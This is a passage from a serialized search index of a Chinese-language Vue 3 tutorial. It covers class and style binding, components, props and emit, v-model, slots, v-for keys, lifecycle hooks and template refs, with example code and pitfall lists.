的最后一块现场触发了这条警告——这是很多人第一次写多根组件时莫名其妙丢样式的原因。",{"id":19626,"title":816,"titles":19627,"content":19628,"level":176},"\u002Ftutorials\u002Fvue3#️-本章的坑-6",[5,6462],"1. 字符串拼接 class 会覆盖静态 class。 class=\"btn\" :class=\"dynamicClass\" 是正确的合并写法；但写成 :class=\"'btn ' + type\" 时，一旦 type 为 undefined 就出现 btn undefined 这个假类名。用对象\u002F数组语法让 Vue 处理合并。 2. !important 之后谁也盖不住。 内联 !important 的优先级高于任何选择器（包括另一个内联声明）。样式不生效时先搜一遍 !important。 3. 连字符 CSS 属性写在对象里不加引号会报错。 :style=\"{ font-size: '14px' }\" 是非法 JS 对象字面量，必须 {'font-size': '14px'} 或改成驼峰 fontSize。 4. 同名类冲突：组件内部的 class 会被外部继承进来。 单根组件上写 class=\"active\"，若子组件根元素本来也有 .active 样式，两边规则合并后表现可能诡异。组件样式请用 scoped 或 BEM 前缀（第十八章）。 5. v-show 与 :style 打架。 v-show 靠改 display，你若同时绑定 :style=\"{ display: 'flex' }\"，隐藏后会被重新显示出来。要既隐藏又改 display，用 v-if 或把 display 也纳入 computed。 6. transition\u002Fanimation 的类名由 Vue 管理。 \u003CTransition name=\"fade\"> 需要 .fade-enter-from 等四个类，少写一个（尤其 -from）就没有过渡效果。这是「我的动画怎么不生效」的头号原因（示例见第十四章的 KeepAlive 部分配套说明）。 7. SVG 元素的 class 与 HTML 不同。 SVG 上用 class 绑定没问题，但 className 相关操作要留意；style 里的 fill、stroke 只能对 SVG 生效。给图标换色推荐 CSS 变量 + fill=\"var(--c)\"。",{"id":19630,"title":6994,"titles":19631,"content":19632,"level":176},"\u002Ftutorials\u002Fvue3#附动态样式速查",[5,6462],"需求 推荐写法 单个开关类 :class=\"{ active: isActive }\" 二选一 :class=\"ok ? 'ok' : 'no'\" 多个类自由组合 :class=\"[base, { a: condA, b: condB }]\" 类多且逻辑复杂 :class=\"classObj\"（computed 里算） 数值型样式（宽度\u002F高度） :style=\"{ width: w + '%' }\" 主题色\u002F第三方样式传值 :style=\"{ '--brand': color }\" 多来源样式合并 :style=\"[base, override]\"（后者赢） 组件外层加样式 单根自动继承；多根用 v-bind=\"$attrs\"",{"id":19634,"title":7094,"titles":19635,"content":19636,"level":169},"\u002Ftutorials\u002Fvue3#八组件入门注册嵌套与渲染顺序",[5],"组件就是把界面切成可复用的块：一个组件有模板、有逻辑、有自己的状态。页面上写 \u003Cuser-card>，Vue 负责把对应的组件实例创建出来并管理它的生命周期。",{"id":19638,"title":7104,"titles":19639,"content":19640,"level":176},"\u002Ftutorials\u002Fvue3#一个组件的最小形状",[5,7094],"\u003C!-- components\u002FUserCard.vue -->\n\u003Cscript setup>\nimport { ref } from 'vue'\nconst likes = ref(0)\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cdiv class=\"card\">\n    \u003Cslot \u002F>\n    \u003Cbutton @click=\"likes++\">赞 {{ likes }}\u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate> \u003Cscript setup> 是 Vue 3 的默认写法：顶层 import 的东西、const 声明的变量和函数，模板里都能直接用，不需要 return。",{"id":19642,"title":7251,"titles":19643,"content":19644,"level":176},"\u002Ftutorials\u002Fvue3#注册全局与局部",[5,7094],"方式 代码 适合 单文件组件引入（推荐） import UserCard from '@\u002Fcomponents\u002FUserCard.vue'（\u003Cscript setup> 里 import 即可用） 一切项目 全局注册 app.component('UserCard', UserCard) 全站通用的小组件（图标、按钮），代价是失去 tree-shaking 组件内选项注册 components: { UserCard } 选项式老代码 异步注册 defineAsyncComponent(() => import('...')) 体积大、非首屏的组件（第十四章） 全局注册有个隐藏代价：打包时无法摇树，哪怕某个页面用不到也会被带上；所以主流做法是「按需 import + \u003Cscript setup>」，只把图标、按钮这类真正的全局件放插件里注册。",{"id":19646,"title":7335,"titles":19647,"content":19648,"level":176},"\u002Ftutorials\u002Fvue3#嵌套与渲染顺序",[5,7094],"\u003Cscript setup>\nimport Panel from '.\u002FPanel.vue'\n\u003C\u002Fscript>\n\u003Ctemplate>\n  \u003Cdiv class=\"page\">\n    \u003CPanel title=\"第一块\">内容 A\u003C\u002FPanel>\n    \u003CPanel title=\"第二块\">内容 B\u003C\u002FPanel>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate> 组件树按「父 setup → 父 render → 子 setup → 子 render → 子 mounted → 父 mounted」推进：先自顶向下建好，再自底向上通知「已挂载」。这个顺序解释了为什么父组件 onMounted 里能拿到子组件渲染出来的 DOM。 同一个组件可以在一个页面里出现多次，每个实例的状态各自独立（示例 13 的组合式函数复用也建立在这一点上）。组件自己 \u003Ctemplate> 里的初始状态来自它自己 setup 里的 ref，不是共享变量——注意别把状态写到组件文件顶层的模块级变量里，那会变成「所有实例共享」的意外全局状态。 \u002F\u002F ✗ 反例：模块级状态，所有实例共享\nconst shared = ref(0)\nexport default { setup() { return { shared } } }\n\n\u002F\u002F ✓ 正解：状态在 setup 内部创建，每个实例一份\nexport default { setup() { const own = ref(0); return { own } } }",{"id":19650,"title":7563,"titles":19651,"content":19652,"level":176},"\u002Ftutorials\u002Fvue3#命名与保留名",[5,7094],"组件名用 PascalCase（UserCard）在 .vue 里，模板里也可写 kebab-case（\u003Cuser-card>），两者等价；浏览器 in-DOM 模板只能用 kebab-case。 组件名不能与 HTML 保留元素冲突（component、template、slot、transition、keep-alive 以及原生标签），Vue 会警告 Do not use reserved names。 is 是 HTML 的保留属性，动态组件要用 \u003Ccomponent :is=\"...\">（第十四章）。 递归组件必须有可发现的名字：单文件组件用文件名自动推断，其它写法要显式 name 或 defineOptions({ name: 'TreeNode' })。 示例 08 的第三块把三层组件的 setup \u002F mounted 打印成带时间戳的日志，点「重播」能看到顺序真的重跑一遍。",{"id":19654,"title":816,"titles":19655,"content":19656,"level":176},"\u002Ftutorials\u002Fvue3#️-本章的坑-7",[5,7094],"1. import 了却「找不到组件」。 常见原因是路径后缀漏了 .vue（构建工具默认不解析裸 .vue 扩展名）、或大小写不对（Windows 本地能跑，Linux 构建直接失败）。这是「本地好使、CI 挂了」的头号元凶。 2. 全局注册要在 mount 之前。 注册晚于挂载时，已经渲染出来的那段模板不会回头重算，late-badge 这类组件只可能在后续渲染里被解析到（行为不稳、也不该依赖）。约定：所有 app.component() \u002F app.use() 都写在 app.mount() 前面。 3. 组件名与原生标签重名。 注册 \u003CButton> 是允许的（PascalCase 不冲突），但注册 button 会覆盖原生标签，出现离谱行为。图标\u002F按钮类组件统一加前缀（BaseButton、AppButton）能避免大量麻烦。 4. 状态写在模块顶层。 上面那段反例——const shared = ref(0) 放在文件顶层（defineStore 除外），多实例共享，出现「改了 A 的数据 B 也跟着变」。 5. 多根组件（fragment）带来 attrs 继承问题。 组件顶层并列两个 \u003Cdiv> 时，父级传下来的 class、style、@click 无处可放，开发版会警告「Extraneous non-props attributes」。解决：合并成单根、或显式 v-bind=\"$attrs\"。 6. key 加在组件上是给 Vue 的，不是给组件的。 \u003Cuser-card :key=\"id\"> 用来强制重建实例（切换用户时清掉内部状态），别指望它在组件 props 里出现。 7. 组件模板里的注释会进渲染结果。 \u003C!-- ... --> 默认被保留进 DOM（除非构建配置移除），大段说明文字建议放 \u003Cscript> 上方而不是模板里。",{"id":19658,"title":7748,"titles":19659,"content":19660,"level":176},"\u002Ftutorials\u002Fvue3#附组件组织速查",[5,7094],"问题 建议 组件放哪 全局共享的进 app\u002Fcomponents\u002F（Nuxt）或 src\u002Fcomponents\u002F；单页专用的可与页面同目录 命名 多词 PascalCase：UserCard；基础组件加前缀：BaseButton；单一实例加 App：AppSidebar 何时拆组件 一个块被用了 2 次以上 \u002F 单文件超过 200 行 \u002F 有独立状态要自管 何时别拆 只为「看起来整齐」而拆的模板片段——反而要穿多层传 props 传递数据 props 向下、emit 向上（第九章）；深层用 provide\u002Finject（第十三章）或 store（第十五章）",{"id":19662,"title":7826,"titles":19663,"content":19664,"level":169},"\u002Ftutorials\u002Fvue3#九props-与-emit父子之间的规矩",[5],"组件通信的地基是两条：props 向下传数据，emit 向上传事件。核心纪律叫「单向数据流」——子组件不能改父组件传下来的 props，只能读、只能在本地复制一份再改。",{"id":19666,"title":7837,"titles":19667,"content":19668,"level":176},"\u002Ftutorials\u002Fvue3#props声明类型默认值",[5,7826],"\u003C!-- UserCard.vue -->\n\u003Cscript setup>\nconst props = defineProps({\n  name: { type: String, required: true },\n  level: { type: Number, default: 1 },\n  tags: { type: Array, default: () => [] },      \u002F\u002F 对象\u002F数组必须用工厂函数\n  meta: { type: Object, default: () => ({}) },\n  size: { type: String, validator: (v) => ['s', 'm', 'l'].includes(v) }\n})\n\n\u002F\u002F 也可以只列类型（简写）\n\u002F\u002F defineProps(['name', 'level'])\n\u003C\u002Fscript> 用类型声明的 String | Number 写作 [String, Number]。校验只在开发版生效（示例 09 把警告接到了迷你控制台里），生产构建里被剥掉——所以它是「写代码时的护栏」，不是运行时保障。 模板里传值的对照，务必分清： 写法 传过去的值 :count=\"1\" 数字 1 count=\"1\" 字符串 \"1\" :count=\"raw\" raw 变量的值 :is-ok 布尔 true（缺省即 true，仅 Boolean 类型 props 有这个糖） v-bind=\"allProps\" 展开对象里所有字段",{"id":19670,"title":8077,"titles":19671,"content":19672,"level":176},"\u002Ftutorials\u002Fvue3#props-只读想改就复制",[5,7826],"\u003Cscript setup>\nimport { ref, watch } from 'vue'\nconst props = defineProps({ title: String })\n\n\u002F\u002F ✗ 直接改：开发版警告「Avoid mutating a prop directly」\n\u002F\u002F props.title = '新值'\n\n\u002F\u002F ✓ 本地副本 + 同步\nconst local = ref(props.title)\nwatch(() => props.title, (v) => { local.value = v })\n\u003C\u002Fscript> 如果父子要双向同步，那是 v-model 的活（下面第三段）。",{"id":19674,"title":8200,"titles":19675,"content":19676,"level":176},"\u002Ftutorials\u002Fvue3#emit向上传事件",[5,7826],"\u003C!-- Child.vue -->\n\u003Cscript setup>\nconst emit = defineEmits(['like', 'rename', { submit: (payload) => typeof payload === 'string' }])\nfunction tap() { emit('like', 1) }\n\u003C\u002Fscript>\n\n\u003C!-- Parent.vue -->\n\u003Cchild @like=\"count += $event\" @rename=\"name = $event\" @submit=\"onSubmit\" \u002F> 声明 emits 有两个实际好处：父组件监听时 IDE 有提示；未在 emits 里声明的「事件风格」监听（@xyz）会被当成原生事件透传到根元素，导致触发两次。声明了 emits，Vue 就知道它不是 DOM 事件。",{"id":19678,"title":8392,"titles":19679,"content":19680,"level":176},"\u002Ftutorials\u002Fvue3#组件上的-v-model",[5,7826],"Vue 3 里 v-model 在组件上等价于「modelValue prop + update:modelValue 事件」，并且支持带参数： \u003C!-- 手写完整版 -->\n\u003Cscript setup>\nconst props = defineProps({ modelValue: String })\nconst emit = defineEmits(['update:modelValue'])\n\u003C\u002Fscript>\n\u003Ctemplate>\u003Cinput :value=\"props.modelValue\" @input=\"emit('update:modelValue', $event.target.value)\">\u003C\u002Ftemplate>\n\n\u003C!-- 父组件用法 -->\n\u003Cbase-input v-model=\"form.name\" \u002F>\n\u003Cprice-field v-model:price=\"item.price\" v-model:count=\"item.count\" \u002F> defineModel()（Vue 3.4+）把上面那一大段压缩成一行，新项目推荐： \u003Cscript setup>\nconst model = defineModel()                       \u002F\u002F 对应 v-model\nconst price = defineModel('price', { type: Number, default: 0 })  \u002F\u002F 对应 v-model:price\n\u003C\u002Fscript>\n\u003Ctemplate>\u003Cinput v-model=\"model\">\u003C\u002Ftemplate>",{"id":19682,"title":19357,"titles":19683,"content":19684,"level":176},"\u002Ftutorials\u002Fvue3#兜底透传attrs",[5,7826],"父组件传了一堆没被子组件 props 声明的东西（class、data-*、@click、未知属性），它们汇总在 $attrs 里。封装第三方组件时几乎必然用到： \u003Ctemplate>\n  \u003Cel-input v-bind=\"$attrs\" :model-value=\"text\" @update:model-value=\"text = $event\" \u002F>\n\u003C\u002Ftemplate> 示例 09 的第二块是本教程最重要的一条警告现场：子组件里 props.count++ 会打出「Avoid mutating a prop directly」；换成 emit('inc') 由父级改，数据就真的变了。",{"id":19686,"title":816,"titles":19687,"content":19688,"level":176},"\u002Ftutorials\u002Fvue3#️-本章的坑-8",[5,7826],"1. 数组\u002F对象的 default 忘了工厂函数。 default: [] 会让所有实例共享同一个数组（Vue 直接报错要求写成 () => []）。这个强制要求反而帮你避开了一个经典 bug。 2. Boolean 类型的「缺省即 true」。 :disabled 不写值时 props 收到 true；但 disabled=\"\"、disabled 这类 HTML 写法混进来时容易和 String 类型的 props 冲突。同一个 props 不要同时声明 Boolean 和 String，除非清楚这套推断规则。 3. 子组件改 props 里的对象「不报错」。 单向数据流只防「重新赋值 props」，props.user.name = 'x' 这种深层修改 Vue 拦不住（严格来说 readonly 代理会给出警告，但很多人直接把它绕过去了）。约定：深层可改的数据要么交给父级改（emit），要么复制一份本地副本。 4. props 大小写。 模板里传 user-name，子组件声明 userName，Vue 会自动转换——但在浏览器 in-DOM 模板里 :userName=\"x\" 被转成小写后就对不上了。项目里统一 kebab-case 传值最省心。 5. 事件名大小写。 emit('updateName') 与父级 @update-name 不匹配（@ 监听在 in-DOM 模板里是小写）。事件名建议一律 kebab-case。 6. 忘记声明 emits，事件被当原生事件。 结果可能是点击触发两次（一次自定义、一次透传到根 DOM）。上一节说过，这也是要声明 emits 的核心理由。 7. 用 props 解构断掉响应性。 const { title } = defineProps(...) 后 title 是普通值（3.5 之前）；老教程里满大街这种写法。安全做法：props.title，或 toRef(props, 'title')。 8. 父级用 v-model 但子组件只声明了 props: ['value']（Vue 2 习惯）。 Vue 3 里模型名变了（modelValue），旧写法静默失效、无任何警告——这是升级项目里最隐蔽的一类 bug。 9. defineProps \u002F defineEmits 只能写在 \u003Cscript setup> 顶层。 它们是编译器宏（不需要 import），也不能放进函数里调用。看到「找不到 defineProps」多半是误加了 import 或写错了 script 块。",{"id":19690,"title":8920,"titles":19691,"content":19692,"level":176},"\u002Ftutorials\u002Fvue3#附父子通信方式对照",[5,7826],"场景 方案 备注 父 → 子 props 只读，类型\u002F默认值\u002F校验都能声明 子 → 父 emit 事件名 kebab-case，可带载荷 父 ⇄ 子（表单值） v-model \u002F defineModel() 一个组件可有多模型 v-model:xxx 父 → 深层子孙 provide \u002F inject 第十三章 全局共享状态 Pinia 第十五章 调用子组件方法 模板 ref + defineExpose 第十四章，最后手段 未声明属性\u002F事件透传 v-bind=\"$attrs\" 封装第三方组件必用",{"id":19694,"title":9036,"titles":19695,"content":9039,"level":169},"\u002Ftutorials\u002Fvue3#十slot-插槽把内容塞进组件",[5],{"id":19697,"title":9042,"titles":19698,"content":19699,"level":176},"\u002Ftutorials\u002Fvue3#三种插槽",[5,9036],"\u003C!-- CardBox.vue -->\n\u003Ctemplate>\n  \u003Csection class=\"card\">\n    \u003Cheader>\u003Cslot name=\"header\">默认标题\u003C\u002Fslot>\u003C\u002Fheader>\n    \u003Cmain>\u003Cslot>这里是默认插槽的兜底内容\u003C\u002Fslot>\u003C\u002Fmain>\n    \u003Cfooter>\u003Cslot name=\"footer\" \u002F>\u003C\u002Ffooter>\n  \u003C\u002Fsection>\n\u003C\u002Ftemplate>\n\n\u003C!-- 父组件使用 -->\n\u003Ccard-box>\n  \u003Ctemplate #header>\n    \u003Ch3>用户列表\u003C\u002Fh3>\n  \u003C\u002Ftemplate>\n\n  \u003Cp>默认插槽的内容写在这里，不用 template 包也行\u003C\u002Fp>\n\n  \u003Ctemplate #footer>\n    \u003Cbutton>关闭\u003C\u002Fbutton>\n  \u003C\u002Ftemplate>\n\u003C\u002Fcard-box> 规则要点：只有一个默认插槽时可以不写 \u003Ctemplate>；具名插槽必须写在 \u003Ctemplate #名字> 上；子组件里 \u003Cslot> 之间的内容就是「父级没传时的兜底」。",{"id":19701,"title":9257,"titles":19702,"content":19703,"level":176},"\u002Ftutorials\u002Fvue3#作用域插槽数据归子组件长相归父组件",[5,9036],"插槽内容的作用域属于父组件，拿不到子组件的数据。要让父级按子组件的每行数据自定义渲染，就用作用域插槽（把数据当 props 传给 \u003Cslot>）： \u003C!-- UserList.vue -->\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Cdiv v-for=\"(row, i) in rows\" :key=\"row.id\">\n      \u003Cslot name=\"row\" :row=\"row\" :index=\"i\" :odd=\"i % 2 === 1\">\n        \u003C!-- 没自定义时用一个朴素的兜底 -->\n        \u003Cspan>{{ row.name }}\u003C\u002Fspan>\n      \u003C\u002Fslot>\n    \u003C\u002Fdiv>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003C!-- 父组件：同一份数据，两种外观 -->\n\u003Cuser-list :rows=\"users\">\n  \u003Ctemplate #row=\"{ row, odd }\">\n    \u003Cspan :class=\"{ zebra: odd }\">{{ row.name }} · {{ row.level }}\u003C\u002Fspan>\n  \u003C\u002Ftemplate>\n\u003C\u002Fuser-list>\n\n\u003Cuser-list :rows=\"users\">\n  \u003Ctemplate #row=\"{ row }\">\n    \u003Cel-tag>{{ row.name }}\u003C\u002Fel-tag>\n  \u003C\u002Ftemplate>\n\u003C\u002Fuser-list> 这是 Vue 里做「可定制表格 \u002F 下拉选项 \u002F 树节点」的标准手法，也是 element-plus、vuetify 这类库文档里最容易被跳过、却最值钱的一节。",{"id":19705,"title":19365,"titles":19706,"content":19707,"level":176},"\u002Ftutorials\u002Fvue3#动态插槽名与-v-slot-全貌",[5,9036],"\u003Ctemplate #[item]=\"data\">        \u003C!-- 方括号里放变量，名字动态决定 -->\n\u003Ctemplate v-slot:header=\"props\"> \u003C!-- 完整写法，作用域数据整体接住 --> # 是 v-slot: 的缩写。在浏览器 in-DOM 模板里请用 v-slot:header 完整写法——# 不是合法的 HTML 属性名字符，某些解析路径下会被丢掉（示例 10 有对照）。 Vue 2 的 slot=\"header\" 属性写法和 slot-scope 都已废弃，升级老代码时全局搜这两个词。 示例 10 的第三块是「同一份数据两种外观」：表格版和卡片版共用同一个 \u003Cuser-list>，只有作用域插槽不同。",{"id":19709,"title":816,"titles":19710,"content":19711,"level":176},"\u002Ftutorials\u002Fvue3#️-本章的坑-9",[5,9036],"1. 具名插槽的内容直接写在组件里，会全进默认插槽。 \u003Ccard-box>\u003Ch3 #header>标题\u003C\u002Fh3>\u003C\u002Fcard-box> 这种「把 #header 加在普通元素上」在 Vue 3 里不合法（v-slot 只能用在 \u003Ctemplate> 或组件上），内容会落进默认插槽或触发警告。 2. 插槽内容里访问不到子组件的数据。 这是设计如此（编译作用域归父级），不是 bug。要数据就得走作用域插槽——新手常在这里绕一大圈。 3. 传了插槽但子组件里没有 \u003Cslot>。 开发版警告「Extraneous non-emits event listeners \u002F Slot content was provided」，内容被静默丢弃。封装组件时先确认 \u003Cslot> 写全了。 4. 同一个作用域插槽内容会被求值多次。 在插槽里读 $slots.row(...) 手动调用时，每次调用都是重新执行一次父级函数，带副作用的写法会重复触发。 5. v-if 控制插槽内容时，父组件里的条件变量与子组件无关。 「插槽没显示」的排查顺序应该是：条件真值 → 插槽名拼写 → 子组件有没有对应 \u003Cslot>。 6. 默认插槽与具名插槽混用时，$slots.default 可能包含空白节点。 早期版本要做 trim 判断，Vue 3 已处理；但若你在 render 函数里手写插槽判断，仍需检查返回内容是否真的有意义。 7. 具名插槽的兜底内容别忘写。 \u003Cslot name=\"footer\" \u002F> 空着时，父级不传就是一块空白框（外框样式还在，看着像 bug）。要么写兜底，要么用 v-if=\"$slots.footer\" 把外层容器也省掉。",{"id":19713,"title":9689,"titles":19714,"content":19715,"level":176},"\u002Ftutorials\u002Fvue3#附插槽语法速查",[5,9036],"需求 子组件写法 父组件写法 默认插槽 + 兜底 \u003Cslot>兜底内容\u003C\u002Fslot> \u003Ccard>内容\u003C\u002Fcard> 具名插槽 \u003Cslot name=\"header\" \u002F> \u003Ctemplate #header>…\u003C\u002Ftemplate> 作用域插槽 \u003Cslot name=\"row\" :row=\"r\" \u002F> \u003Ctemplate #row=\"{ row }\">…\u003C\u002Ftemplate> 插槽默认值 \u003Ctemplate #footer>\u003Cp>默认页脚\u003C\u002Fp>\u003C\u002Ftemplate> 写在 \u003Cslot> 内 — 动态插槽名 \u003Cslot :name=\"slotName\" \u002F> \u003Ctemplate #[slotName]>…\u003C\u002Ftemplate> 判断父级是否传了 v-if=\"$slots.footer\" — in-DOM 模板 \u003Cslot name=\"header\"> \u003Ctemplate v-slot:header>（别用 #） Vue 2 旧写法（已废弃） \u003Cslot name=\"x\"> \u003Ctemplate slot=\"x\" slot-scope=\"p\">",{"id":19717,"title":9828,"titles":19718,"content":19719,"level":169},"\u002Ftutorials\u002Fvue3#十一v-for-与-key列表渲染的稳定性",[5],"v-for 把数组变成一串节点，key 告诉 Vue「哪个节点代表哪条数据」。这两件事写对了，列表才有正确的状态和能接受的性能——示例 11 用一个小勾选框演示了写错的后果。",{"id":19721,"title":9839,"titles":19722,"content":19723,"level":176},"\u002Ftutorials\u002Fvue3#四种可遍历的数据",[5,9828],"\u003Cli v-for=\"item in list\" :key=\"item.id\">{{ item.name }}\u003C\u002Fli>              \u003C!-- 数组 -->\n\u003Cli v-for=\"(item, i) in list\" :key=\"item.id\">{{ i }}: {{ item.name }}\u003C\u002Fli> \u003C!-- 带索引 -->\n\u003Cli v-for=\"(val, key) in obj\" :key=\"key\">{{ key }} = {{ val }}\u003C\u002Fli>        \u003C!-- 对象 -->\n\u003Cli v-for=\"(val, key, i) in obj\" :key=\"key\">…\u003C\u002Fli>                        \u003C!-- 对象带索引 -->\n\u003Cli v-for=\"n in 5\" :key=\"n\">第 {{ n }} 项\u003C\u002Fli>                             \u003C!-- 数字：1..5 -->\n\u003Cli v-for=\"ch of str\" :key=\"ch\">{{ ch }}\u003C\u002Fli>                             \u003C!-- 字符串 -->\n\n\u003C!-- 不想引入额外元素时用 template 分组 -->\n\u003Ctemplate v-for=\"(row, i) in rows\" :key=\"row.id\">\n  \u003Cdt>{{ row.name }}\u003C\u002Fdt>\u003Cdd>{{ row.value }}\u003C\u002Fdd>\n\u003C\u002Ftemplate> in 和 of 两种连接词等价（of 更接近 JS 的 for...of，可读性略好）。遍历数字时 n 从 1 开始，不是 0——这条反直觉，值得记一下。",{"id":19725,"title":10107,"titles":19726,"content":19727,"level":176},"\u002Ftutorials\u002Fvue3#key-的三条规矩",[5,9828],"唯一：同层列表内不能重复，否则 Vue 直接警告「Duplicate keys found」，节点复用错乱。 稳定：同一个数据项在任何一次渲染中 key 不变。用 Math.random()、Date.now() 当 key 会让每次渲染都重建全部节点。 来自数据本身：优先用后端返回的 id。index 不是 id——只有当「列表顺序固定、永不重排\u002F插入\u002F删除、行内也没有本地状态」时才勉强可用。 用 index 当 key 为什么危险？因为 Vue 靠 key 决定「哪个 DOM 节点属于哪条数据」。用 index 时，头部插入一条数据后，原本第 2 行的节点（带着它的勾选框状态）被当成第 1 行继续用——于是「勾选状态跟着位置走，而不是跟着人走」。示例 11 的两种 key 策略切换就是让你亲眼看到这件事。",{"id":19729,"title":10148,"titles":19730,"content":19731,"level":176},"\u002Ftutorials\u002Fvue3#v-for-与-v-if-同级vue-3-的顺序变了",[5,9828],"\u003C!-- ✗ 不要这样写 -->\n\u003Cli v-for=\"u in users\" v-if=\"u.active\">{{ u.name }}\u003C\u002Fli> Vue 3 里 v-if 优先级更高，它会先求值，此时 u 还不存在 → u is not defined。三种正解： \u003C!-- ① 用 computed 先过滤（首选：只算一次，还能缓存） -->\n\u003Cli v-for=\"u in activeUsers\" :key=\"u.id\">{{ u.name }}\u003C\u002Fli>\n\u003Cscript setup>\nconst activeUsers = computed(() => users.value.filter(u => u.active))\n\u003C\u002Fscript>\n\n\u003C!-- ② 条件在外层包一层（template 上不产生额外 DOM） -->\n\u003Cul v-if=\"showUsers\">\n  \u003Cli v-for=\"u in users\" :key=\"u.id\">…\u003C\u002Fli>\n\u003C\u002Ful>\n\n\u003C!-- ③ 每一行内部再用 v-if（当「过滤条件」和「行内显示」不是一回事时） -->\n\u003Cli v-for=\"u in users\" :key=\"u.id\">\u003Cspan v-if=\"u.active\">{{ u.name }}\u003C\u002Fspan>\u003C\u002Fli> 绝大多数情况选 ①。用 ③ 时注意：不满足条件的行仍然创建了节点，只是里面空着——数据量大时白花一堆开销。",{"id":19733,"title":10392,"titles":19734,"content":19735,"level":176},"\u002Ftutorials\u002Fvue3#长列表的性能底线",[5,9828],"手段 什么时候用 注意 shallowRef 存列表 上千条、且行内不需要深层响应 更新时要整体替换新数组 分页 \u002F 无限滚动 一次没必要全放 IntersectionObserver 触发加载 虚拟列表（vue-virtual-scroller 等） 万级、固定行高 需要稳定的高度与 key v-memo=\"[row.id, row.done]\" 列表项内部有昂贵计算 依赖数组要写全，漏了就是「不更新」 v-once 纯静态片段 一次之后永不更新 把行抽成子组件 行内有自己的状态与逻辑 子组件 props 用浅比较天然省下渲染",{"id":19737,"title":816,"titles":19738,"content":19739,"level":176},"\u002Ftutorials\u002Fvue3#️-本章的坑-10",[5,9828],"1. key 缺失时 Vue 用「原地复用」策略。 不报错、看起来也正常，直到你插入\u002F删除一行——输入框内容错位、checkbox 状态错乱。开发版会警告，生产版不警告，这是「测试环境好、线上用户截图说状态乱」的经典成因。 2. index 当 key + 行内组件本地状态 = 灾难。 组件实例被复用时不会重新初始化，data\u002Fref 留下的就是上一行的旧值。 3. v-for 里直接改数组会让遍历与渲染互相打断。 在循环体内 list.splice(i, 1) 删除当前项属于「边遍历边改」，请改用 filter 生成新数组赋值回去。 4. 对象遍历的顺序依赖 Object.keys。 数字键会被提前排序（{2: 'a', 1: 'b'} 遍历顺序是 1、2），需要顺序就用数组，或 Object.entries 自己排。 5. \u003Ctransition-group>（Vue 3 里叫 \u003CTransitionGroup>）必须有 key。 少 key 时进出场动画错位。 6. key 不是给 DOM 用的属性。 它不会出现在渲染出的 HTML 里，别指望用 querySelector('[key=1]') 找元素。 7. 深层嵌套列表的 key 要带上层级信息。 两层都用 index 时，跨层复用会产生「A 分支展开了 B 分支的状态」。用 row.id + level 之类的组合字符串。 8. 列表数据整体替换 vs 局部修改。 list.value = newArray 会重建所有节点（除非 key 稳定）；list.value[i].done = true 只改一行。批量改动时用前者并保证 key 稳定，别在循环里逐条改触发几十次更新。",{"id":19741,"title":10600,"titles":19742,"content":19743,"level":176},"\u002Ftutorials\u002Fvue3#附列表写法速查",[5,9828],"需求 写法 数组 + 索引 v-for=\"(item, i) in list\" :key=\"item.id\" 对象 v-for=\"(val, key) in obj\" :key=\"key\" 数字 1..N v-for=\"n in count\" :key=\"n\" 不产生额外元素 \u003Ctemplate v-for=\"…\" :key=\"…\"> 过滤后渲染 v-for=\"u in filtered\"（filtered 是 computed） 大列表省开销 shallowRef + 整体替换、或虚拟滚动 行内动画 \u003CTransitionGroup tag=\"ul\" name=\"list\"> + 每行 :key key 选择 后端 id > 本地生成的稳定 id > index",{"id":19745,"title":10705,"titles":19746,"content":19747,"level":169},"\u002Ftutorials\u002Fvue3#十二生命周期与模板-ref什么时候可以碰-dom",[5],"组件从创建到销毁有一串确定的时刻。想知道「哪段代码该写在哪个时机」，靠的就是这张时序表；而「什么时候才能读 DOM」只有一个答案：挂载之后。",{"id":19749,"title":10714,"titles":19750,"content":19751,"level":176},"\u002Ftutorials\u002Fvue3#六个钩子与它们的时机",[5,10705],"\u003Cscript setup>\nimport { ref, onBeforeMount, onMounted, onBeforeUpdate, onUpdated, onBeforeUnmount, onUnmounted, nextTick } from 'vue'\nconst n = ref(0)\n\nconsole.log('1. setup()：此刻还没有 DOM')\nonBeforeMount(() => console.log('2. beforeMount：渲染函数准备好，DOM 还没插进页面'))\nonMounted(() => console.log('3. mounted：DOM 已就绪，可以读\u002F操作元素、起定时器、发请求'))\nonBeforeUpdate(() => console.log('4. beforeUpdate：数据变了，DOM 尚未更新'))\nonUpdated(() => console.log('5. updated：DOM 已跟上新数据'))\nonBeforeUnmount(() => console.log('6. beforeUnmount：卸载前，做清理'))\nonUnmounted(() => console.log('7. unmounted：已从 DOM 移除'))\n\u003C\u002Fscript> 组合式里没有 created——setup() 本身就取代了 beforeCreate\u002Fcreated。也没有 onBeforeSetup 这种东西。 该写在哪个钩子里：起定时器\u002F加全局监听\u002F初始化第三方图表实例 → onMounted；对应的清理 → onBeforeUnmount（或 onUnmounted）；订阅全局事件 + 取消 → 同一对钩子；读 DOM → onMounted 或 nextTick 之后；数据变化后的 DOM 副作用 → 优先 watch(..., { flush: 'post' })，而不是 onUpdated（后者每次任何更新都触发，很容易写出循环）。",{"id":19753,"title":19380,"titles":19754,"content":19755,"level":176},"\u002Ftutorials\u002Fvue3#dom-是异步更新的nexttick",[5,10705],"function add() {\n  list.value.push(Date.now())\n  console.log(el.value.children.length)      \u002F\u002F ✗ 还是旧数量，DOM 还没更新\n  nextTick(() => console.log(el.value.children.length))  \u002F\u002F ✓ 更新后\n} Vue 把同一批数据变更合并成一次更新（微任务），所以「改完数据立刻读 DOM」拿到的必然是旧值。三种等 DOM 的办法：nextTick()、watch 配 flush: 'post'、onUpdated（最不推荐）。",{"id":19757,"title":11042,"titles":19758,"content":19759,"level":176},"\u002Ftutorials\u002Fvue3#模板-ref拿到元素或子组件实例",[5,10705],"\u003Cscript setup>\nimport { ref, useTemplateRef, onMounted } from 'vue'\nconst inputEl = ref(null)                 \u002F\u002F 名字与模板里的 ref 属性对应\n\u002F\u002F Vue 3.5 推荐写法（避免「ref 变量」与「ref 属性」混淆）：\n\u002F\u002F const inputEl = useTemplateRef('search-input')\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cinput ref=\"search-input\" v-model=\"q\" placeholder=\"搜索\">\n  \u003CUserCard ref=\"card\" \u002F>\n\u003C\u002Ftemplate> 四条规则： mounted 之前它是 null。 在 setup 顶层直接 